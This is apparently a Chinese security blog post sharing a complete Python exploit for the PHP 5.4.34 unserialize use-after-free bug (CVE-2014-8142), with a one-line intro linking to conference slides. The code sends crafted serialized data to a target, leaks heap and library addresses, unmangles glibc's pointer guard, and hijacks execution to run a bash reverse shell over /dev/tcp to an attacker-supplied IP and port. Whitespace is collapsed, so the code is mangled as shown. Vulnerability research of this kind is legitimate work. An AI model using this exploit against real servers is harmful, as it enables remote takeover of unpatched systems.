PHP 5.4.34 unserialize UAF exploit
之前在Sebug沙龙分享的PHP 5.4.34 unserialize UAF exploit，EXP放到博客来，还有那天的PPT：
PHP反序列化UAF漏洞的研究与Exp编写
EXP代码：
'''php 5.4.34cve-2014-8142php server script content for this vulnerability:<?php$data = base64_decode($_GET['data']);echo serialize(unserialize($data));?>''' import reimport pdbimport sysimport urllibimport urllib2import base64import structimport urlparse if __name__ == '__main__': if len(sys.argv) == 5: target = urlparse.urlunsplit(('http', sys.argv[1], sys.argv[2], '', '')) else: print "Usage: python " + sys.argv[0] + " [TargetIP] [URI] [Reverse IP] [Reverse Port]" sys.exit() def get_resp(data): data = base64.b64encode(data) data = urllib.quote(data) req = urllib2.Request(url=target + "?data=" + data) u = urllib2.urlopen(req) resp = u.read() return resp def read_memory(addr, count): #read_memory(0x8048000, 0x4) #read_memory(134512640, 4) data = 'O:8:"stdClass":4:{' data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'; data += 's:3:"123";i:0;'; data += 'i:0;S:16:"' + struct.pack("I", addr) + struct.pack("I", count) + '\00\01\01\00\06\00\BB\BC";'; data += 'i:1;r:12;}'; #print data resp = get_resp(data) #print resp start = resp.rfind("s:" + str(count) + ":\"") + len("s:" + str(count) + ":\"") end = resp.rfind("\";}") mem = resp[start:end] return mem def format_to_hex(value): return format(value, "#04x") def hex_to_dec(value): return int(value, 16) def find_func_addr(function_name, strtab_section_addr, symtab_section_addr, libphp_base): strtab_count = 0x1000 symtab_cont = 0x5000 func_dynstr_offset = 0 func_symtab_offset = 0 while True: strtab_section = read_memory(strtab_section_addr, strtab_count) pos = strtab_section.find("\x00" + function_name + "\x00") if pos !=-1: func_dynstr_offset = pos + 1 print "[+] Found " + function_name + " strtab offset is " + format_to_hex(func_dynstr_offset) break strtab_count = strtab_count + 0x1000 while True: symtab_section = read_memory(symtab_section_addr, symtab_cont) while symtab_section: if struct.unpack("I", symtab_section[:4])[0] == func_dynstr_offset: func_symtab_offset = struct.unpack("I", symtab_section[4:8])[0] break symtab_section = symtab_section[16:] if func_symtab_offset: break symtab_cont = symtab_cont + 0x1000 print "[+] Found " + function_name + " symtab offset is " + format_to_hex(func_symtab_offset) func_addr = libphp_base + func_symtab_offset; print "[+] Found " + function_name + " addr at " + format_to_hex(func_addr) return func_addr # Rotate left: 0b1001 --> 0b0011rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) # Rotate right: 0b1001 --> 0b1100ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) print "[+] Determining endianess of system" data = 'O:8:"stdClass":4:{'data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'data += 's:3:"123";i:0;'data += 'i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC";'data += 'i:1;r:12;}' resp = get_resp(data)m = re.findall("\:(\d*)\;\}", resp) if m: if int(m[0]) == 256: print "[+] System is little endian" elif int(m[0]) == 65535: print "[+] System is big endian" data = 'O:8:"stdClass":6:{'data += 's:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'data += 's:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'data += 's:3:"456";i:1;'data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'data += 's:3:"789";i:0;'data += 'i:1;r:56;}' resp = get_resp(data)start = resp.rfind(":\"") + 2end = resp.rfind("\";}")mem = resp[start:end]fmt = fmt = "%dI" % (len(mem) // 4)leak_heap_addr = list(struct.unpack(fmt, mem))index = 0 for i in leak_heap_addr: if i == 0x5: std_object_handlers_addr = format_to_hex(leak_heap_addr[index - 2]) index = index + 1 if std_object_handlers_addr: print "[+] Found std_object_handlers_addr address to be " + std_object_handlers_addr print "[+] Leaking std_object_handlers"mem = read_memory(hex_to_dec(std_object_handlers_addr), 0x70)fmt = fmt = "%dI" % (len(mem) // 4)leak_heap_addr = list(struct.unpack(fmt, mem))std_object_handlers = [] for i in leak_heap_addr: std_object_handlers.append(format_to_hex(i)) print "Retrieved std_object_handlers" + str(std_object_handlers)min_addr = min(i for i in std_object_handlersif hex_to_dec(i) > 0)print "[+] Optimized to " + min_addrprint "[+] Scanning for executable header"libphp_base = (hex_to_dec(min_addr) & ~0xfff) while True: try: mem = read_memory(libphp_base, 4) except: continue if (mem == "\x7fELF"): break libphp_base -= 0x1000 print "[+] ELF header Found at " + format_to_hex(libphp_base)mem = read_memory(libphp_base, 0x1000)print "[+] Retrieving and parsing ELF header"program_header = mem[52:] while True: if struct.unpack("I", program_header[:4])[0] == 2: dynamic_section_addr = libphp_base + struct.unpack("I", program_header[8:12])[0] break program_header = program_header[32:] print "[+] ELF dynamic section Found at " + format_to_hex(dynamic_section_addr)dynamic_section = read_memory(dynamic_section_addr, 0x118) while True: if (struct.unpack("I", dynamic_section[:4])[0] == 5) and (struct.unpack("I", dynamic_section[8:12])[0] == 6): strtab_section_addr = struct.unpack("I", dynamic_section[4:8])[0] symtab_section_addr = struct.unpack("I", dynamic_section[12:16])[0] break dynamic_section = dynamic_section[8:] print "[+] ELF strtab section Found at " + format_to_hex(strtab_section_addr)print "[+] ELF symtab section Found at " + format_to_hex(symtab_section_addr)php_execute_script_addr = find_func_addr("php_execute_script", strtab_section_addr, symtab_section_addr, libphp_base)zend_eval_string_addr = find_func_addr("zend_eval_string", strtab_section_addr, symtab_section_addr, libphp_base)executor_globals_addr = find_func_addr("executor_globals", strtab_section_addr, symtab_section_addr, libphp_base)jmpbuf_addr = struct.unpack("I", read_memory(executor_globals_addr + 288, 0x4))[0]print "[+] Found jmpbuf at " + format_to_hex(jmpbuf_addr)print "[+] Attempt to crack JMPBUF"mem = read_memory(jmpbuf_addr, 0x18)fmt = "%dI" % (len(mem)//4) jmp_buf = list(struct.unpack(fmt, mem))mem = read_memory(php_execute_script_addr, 0x100)fmt = "%dB" % (len(mem))mem_list = list(struct.unpack(fmt, mem)) count = 0set_jmp_ret_addr = 0 for i in mem_list: if (i == 0xe8) and (mem_list[count+5] == 0x31) and (mem_list[count+7] == 0x85): set_jmp_ret_addr = php_execute_script_addr + count + 5 jmp_to_ret_addr = php_execute_script_addr + count + 15 + struct.unpack("I", mem[(count+11):(count+15)])[0] count = count + 1 print "[+] Determined stored EIP value %s from pattern match"%format_to_hex(set_jmp_ret_addr)pointer_guard = ror(jmp_buf[5], 9, 32) ^ set_jmp_ret_addrprint "[+] Calculated pointer_guard value is %s"%format_to_hex(pointer_guard)unmangled_esp = ror(jmp_buf[4], 9, 32) ^ pointer_guardprint "[+] Unmangled stored ESP is %s"%format_to_hex(unmangled_esp)mem = read_memory(jmpbuf_addr-0x1000, 0x1000)print "[+] Checking memory infront of JMPBUF for overwriting possibilities" i = 0count = 0valid_addr = [] while True: addr = jmpbuf_addr - 0x1000 + count if (struct.unpack("B", mem[count:count+1])[0] == 0x30) and (struct.unpack("B", mem[count+1:count+2])[0] == struct.unpack("B", mem[count+2:count+3])[0] == struct.unpack("B", mem[count+3:count+4])[0] == 0): valid_addr.append(addr) i = i + 1 count = count + 1 if len(mem[i:]) < 4: break if valid_addr: print "[+] Found 0x30 at " + format_to_hex(valid_addr[0]) + " using it as overwrite trampoline" addr1 = valid_addr[0]+8 count1 = 39 addr2 = valid_addr[0]+ 48 count2 = 111 addr3 = valid_addr[0]+ 160 count3 = 111 addr4 = valid_addr[0]+ 272 count4 = 111 php_code = "system(\"bash -c 'bash -i >& /dev/tcp/" + sys.argv[3] + "/" + sys.argv[4] + " 0>&1'\");\00" old_cwd = struct.pack("I", jmpbuf_addr) return_addr = struct.pack("I", jmp_to_ret_addr) php_code_addr = struct.pack("I", jmpbuf_addr + 40) retval_ptr = "\00" * 4 string_name = php_code_addr ebx = struct.pack("I", jmp_buf[0]) esi = struct.pack("I", jmp_buf[1]) edi = struct.pack("I", jmp_buf[2]) ebp = struct.pack("I", jmp_buf[3]) esp = struct.pack("I", rol((jmpbuf_addr + 24) ^ pointer_guard, 9, 32)) eip = struct.pack("I", rol(zend_eval_string_addr ^ pointer_guard, 9, 32)) junk = "A" * (127 - len(ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code)) data = 'O:8:"stdClass":17:{' data += 'S:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}' data += 'S:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}' data += 'S:3:"456";i:1;' data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:101;O:8:"stdclass":0:{}i:1;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:102;O:8:"stdclass":0:{}i:2;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:103;O:8:"stdclass":0:{}i:3;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:104;O:8:"stdclass":0:{}i:4;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:105;O:8:"stdclass":0:{}i:5;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:106;O:8:"stdclass":0:{}i:6;S:16:"' + struct.pack("I", addr4) + struct.pack("I", count4) + '\00\00\00\00\06\00\BB\BC";i:107;O:8:"stdclass":0:{}i:7;S:16:"' + struct.pack("I", addr3) + struct.pack("I", count3) + '\00\00\00\00\06\00\BB\BC";i:108;O:8:"stdclass":0:{}i:8;S:16:"' + struct.pack("I", addr2) + struct.pack("I", count2) + '\00\00\00\00\06\00\BB\BC";i:109;O:8:"stdclass":0:{}i:9;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";}' data += 'S:3:"abc";r:53;' data += 'S:3:"abc";i:1;' data += 'S:3:"def";S:39:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00\00\00\01\00\00";' data += 'S:3:"ghi";r:56;' data += 'S:3:"ghi";i:1;' data += 'S:3:"jkl";S:111:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB' + old_cwd + 'DDDD\x78\x00\00\00\01\00\00";' data += 'S:3:"mno";r:59;' data += 'S:3:"mno";i:1;' data += 'S:3:"pqr";S:111:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00\00";' data += 'S:3:"stu";r:62;' data += 'S:3:"stu";i:1;' data += 'S:3:"vwx";S:127:"' + ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code + junk + '";' data += 'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}}' print "[+] Returning into PHP... Spawning a shell to " + sys.argv[3] + " at port " + sys.argv[4] resp = get_resp(data)
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